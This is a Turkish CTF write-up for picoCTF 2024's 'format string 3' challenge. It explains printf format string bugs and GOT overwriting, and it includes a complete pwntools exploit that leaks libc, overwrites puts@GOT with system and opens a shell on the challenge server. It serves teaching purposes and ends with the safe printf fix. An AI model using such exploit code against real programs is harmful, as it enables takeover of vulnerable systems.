PicoCTF
PicoCTF 2024 - Format String 3: GOT Overwrite ile Shell
December 28, 2025
picoCTF 2024’te karşıma çıkan “format string 3” isimli challenge, format string açıklarının ne kadar tehlikeli olabileceğini gösteren güzel bir örnek. Challenge’ın açıklaması oldukça kışkırtıcı: “This program doesn’t contain a win function. How can you win?” Yani programda bizi shell’e götürecek hazır bir fonksiyon yok. Peki o zaman nasıl kazanacağız?
Bu yazıda önce format string açığının ne olduğunu ve neden tehlikeli olduğunu anlatacağım. Ardından bu challenge’ı adım adım çözeceğiz.
Format String Açığı Nedir?
C programlama dilinde printf ailesi fonksiyonlar, format specifier denen özel karakterlerle çalışır. Mesela %d bir integer yazdırır, %s bir string yazdırır, %p ise bir pointer’ın adresini yazdırır. Normal kullanımda şöyle bir kod yazarsınız:
int yas = 25;
printf("Benim yaşım: %d\n", yas);
Burada printf iki argüman alıyor: format string ve yazdırılacak değer. Peki ya kullanıcıdan aldığınız inputu doğrudan printf’e verirseniz ne olur?
char buf[100];
fgets(buf, 100, stdin);
printf(buf); // Tehlikeli!
Eğer kullanıcı “Merhaba” yazarsa sorun yok, ekrana “Merhaba” basılır. Ama kullanıcı “%p.%p.%p.%p” yazarsa ne olur? printf bu format specifier’ları görür ve onlara karşılık gelen argümanları arar. Ama biz hiç argüman vermedik! İşte tam bu noktada printf, stack’ten rastgele değerler okumaya başlar. Bu, memory leak demektir.
Şekil 1: Güvenli ve Güvensiz printf kullanımı arasındaki fark. Sol tarafta format string açıkça belirtildiği için güvenli. Sağ tarafta ise kullanıcı girdisi doğrudan format string olarak kullanılıyor, bu da stack’teki hassas verilerin okunmasına veya üzerine yazılmasına olanak tanıyor.
Daha da kötüsü, %n diye bir format specifier var. Bu specifier, o ana kadar yazdırılan karakter sayısını belirtilen adrese yazar. Yani sadece okuma değil, yazma da yapabiliyorsunuz. Arbitrary write primitive elde etmiş oluyorsunuz.
Challenge’ın Kaynak Kodunu İnceleyelim
#include <stdio.h>
#define MAX_STRINGS 32
char *normal_string = "/bin/sh";
void setup() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
void hello() {
puts("Howdy gamers!");
printf("Okay I'll be nice. Here's the address of setvbuf in libc: %p\n", &setvbuf);
}
int main() {
char *all_strings[MAX_STRINGS] = {NULL};
char buf[1024] = {'\0'};
setup();
hello();
fgets(buf, 1024, stdin);
printf(buf);
puts(normal_string);
return 0;
}
Bu kodu dikkatli incelediğimizde birkaç önemli şey görüyoruz. Birincisi, printf(buf) satırı klasik bir format string açığı. Kullanıcı inputu doğrudan printf’e gidiyor. İkincisi, global bir normal_string değişkeni var ve değeri “/bin/sh”. Üçüncüsü, program bize setvbuf fonksiyonunun libc içindeki adresini veriyor. Bu çok önemli çünkü ASLR aktif olduğunda libc’nin her çalıştırmada farklı bir adrese yüklendiğini biliyoruz. Son olarak, programın sonunda puts(normal_string) çağrısı yapılıyor.
Hint’e baktığımızda “Is there any way to change what a function points to?” sorusunu görüyoruz. Bu bizi GOT overwrite tekniğine yönlendiriyor.
GOT Nedir ve Neden Önemli?
Dinamik olarak link edilen programlarda, printf, puts, system gibi libc fonksiyonları programın içinde değil, paylaşılan bir kütüphanede bulunur. Program bu fonksiyonları çağırmak istediğinde, gerçek adreslerini bir yerden öğrenmesi gerekir. İşte GOT (Global Offset Table) tam da bu iş için kullanılır.
Program ilk kez bir fonksiyonu çağırdığında, lazy binding mekanizması devreye girer ve fonksiyonun gerçek adresi bulunup GOT’a yazılır. Sonraki çağrılarda program direkt GOT’tan adresi okur ve oraya zıplar.
Şimdi şöyle düşünelim: eğer GOT’taki puts adresini system adresiyle değiştirebilirsek ne olur? Program puts(normal_string) çağırdığını sanır ama aslında system("/bin/sh") çalıştırır! Çünkü normal_string zaten “/bin/sh” değerini tutuyor.
Şekil 2: GOT Overwrite mekanizmasının işleyişi. Exploit öncesi puts çağrısı GOT üzerinden libc’deki gerçek puts fonksiyonuna gider. Format string açığı ile GOT’taki adres system fonksiyonunun adresiyle değiştirildikten sonra, puts çağrısı artık system("/bin/sh") komutunu çalıştırır.
Exploit Stratejimiz
Planımız şu adımlardan oluşuyor. Önce setvbuf leak’ini kullanarak libc’nin base adresini hesaplayacağız. Sonra system fonksiyonunun adresini bulacağız. Ardından format string açığını kullanarak GOT’taki puts adresini system ile overwrite edeceğiz. Son olarak program puts çağırdığında aslında system çalışacak ve shell alacağız.
Adım 1: Binary Analizi
Önce binary’nin güvenlik özelliklerine bakalım:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x3ff000)
Partial RELRO görmek bizi sevindiriyor çünkü bu, GOT’un yazılabilir olduğu anlamına geliyor. Full RELRO olsaydı GOT read-only olacaktı ve bu teknik işe yaramayacaktı. PIE kapalı olması da güzel çünkü GOT adresi her çalıştırmada aynı kalacak.
Adım 2: Format String Offset’ini Bulmak
Format string payload’ımızı oluşturmadan önce, inputumuzun stack’te kaçıncı pozisyonda göründüğünü bulmamız gerekiyor. Bunun için programı çalıştırıp şu inputu gönderiyoruz:
AAAAAAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Çıktıda 0x4141414141414141 değerini arıyoruz (AAAAAAAA’nın hex karşılığı). Bu değeri 38. pozisyonda görüyoruz. Yani format string offset’imiz 38.
Bu ne anlama geliyor? %38$n yazdığımızda, printf stack’teki 38. argümanı adres olarak alıp oraya yazma yapacak. Bu argüman bizim kontrol ettiğimiz buffer’ın başlangıcı.
Şekil 3: Bellek yerleşimi ve offset hesaplaması. Stack’teki 38. öge bizim buffer’ımızın başlangıcını işaret ediyor. %38$n format specifier’ı ile bu pozisyona erişip, buffer’ın içine yazdığımız hedef adresi (GOT entry) kullanabiliyoruz.
Adım 3: Exploit Kodunu Yazmak
from pwn import *
# Context ayarı - pwntools'a 64-bit binary ile çalıştığımızı söylüyoruz
# Bu çok önemli, yoksa adresler 32-bit olarak pack edilmeye çalışılır ve hata alırız
context.binary = elf = ELF('./format-string-3')
libc = ELF('./libc.so.6')
# Remote sunucuya bağlanıyoruz
p = remote('rhea.picoctf.net', 52408)
# Program bize setvbuf adresini veriyor, bunu yakalıyoruz
p.recvuntil(b'setvbuf in libc: ')
setvbuf_leak = int(p.recvline().strip(), 16)
print(f"[+] setvbuf @ {hex(setvbuf_leak)}")
# libc base adresini hesaplıyoruz
# setvbuf'un libc içindeki offset'ini biliyoruz (libc dosyasından)
# Gerçek adres - offset = base adres
libc.address = setvbuf_leak - libc.symbols['setvbuf']
print(f"[+] libc base @ {hex(libc.address)}")
# Artık libc base'i bildiğimize göre system'in adresini bulabiliriz
system_addr = libc.symbols['system']
print(f"[+] system @ {hex(system_addr)}")
# GOT'taki puts entry'sinin adresi
# PIE kapalı olduğu için bu adres sabit
puts_got = elf.got['puts']
print(f"[+] puts@GOT @ {hex(puts_got)}")
# pwntools'un fmtstr_payload fonksiyonu bizim için payload oluşturuyor
# 38: offset değerimiz
# {puts_got: system_addr}: puts_got adresine system_addr değerini yaz
payload = fmtstr_payload(38, {puts_got: system_addr})
p.sendline(payload)
# Shell'e düşüyoruz
p.interactive()
fmtstr_payload Arka Planda Ne Yapıyor?
pwntools’un fmtstr_payload fonksiyonu oldukça karmaşık bir iş yapıyor. Manuel olarak yapmak isteseydik, %n specifier’ı kullanarak byte byte yazma yapmamız gerekecekti.
%n o ana kadar yazdırılan karakter sayısını belirtilen adrese yazar. Ama biz 6 byte’lık bir adres yazmak istiyoruz (64-bit sistemde libc adresleri genelde 6 byte). Milyarlarca karakter yazdıramayacağımıza göre, bunu parçalara bölmemiz gerekir.
%hn ile 2 byte (short), %hhn ile 1 byte yazabiliriz. fmtstr_payload fonksiyonu adresi parçalara böler, her parça için gerekli padding’i hesaplar ve uygun format string’i oluşturur. Bu hesaplamalar oldukça karmaşık olduğundan, pwntools’un bu işi bizim yerimize yapması büyük kolaylık.
Exploit Akışı
Exploit çalıştığında şu sırayla olaylar gelişiyor. Program başlıyor ve bize setvbuf adresini veriyor. Biz bu adresten libc base’i ve system adresini hesaplıyoruz. Format string payload’ımızı gönderiyoruz. printf bu payload’ı işlerken, GOT’taki puts adresini system ile overwrite ediyor. printf bittikten sonra program puts(normal_string) çağırıyor. Ama GOT’ta artık puts yerine system var! Sonuç olarak system("/bin/sh") çalışıyor ve shell alıyoruz.
Şekil 4: Exploit sürecinin adım adım akış diyagramı. Bilgi sızdırma (leak) ile başlayıp, libc adreslerinin hesaplanması, payload hazırlanması ve son olarak GOT overwrite ile shell alınması sürecini özetler.
Sonuç
Bu challenge, format string açıklarının gücünü güzel bir şekilde gösteriyor. Tek bir printf(buf) hatası, programın tamamen ele geçirilmesine yol açabiliyor. Üstelik programda herhangi bir “win” fonksiyonu olmasa bile, GOT overwrite tekniğiyle istediğimiz fonksiyonu çağırabiliyoruz.
Güvenli kod yazmak istiyorsanız, asla kullanıcı inputunu doğrudan printf’e vermeyin. Her zaman printf("%s", buf) şeklinde kullanın. Bu kadar basit bir değişiklik, bu tür saldırıları tamamen engeller.
Format string açıkları günümüzde eskisi kadar yaygın değil çünkü derleyiciler uyarı veriyor ve geliştiriciler artık daha bilinçli. Ama legacy sistemlerde ve dikkatli yazılmamış kodlarda hâlâ karşılaşılabiliyor. CTF’lerde ise klasik bir soru tipi olarak karşımıza çıkmaya devam ediyor.
Yorumlar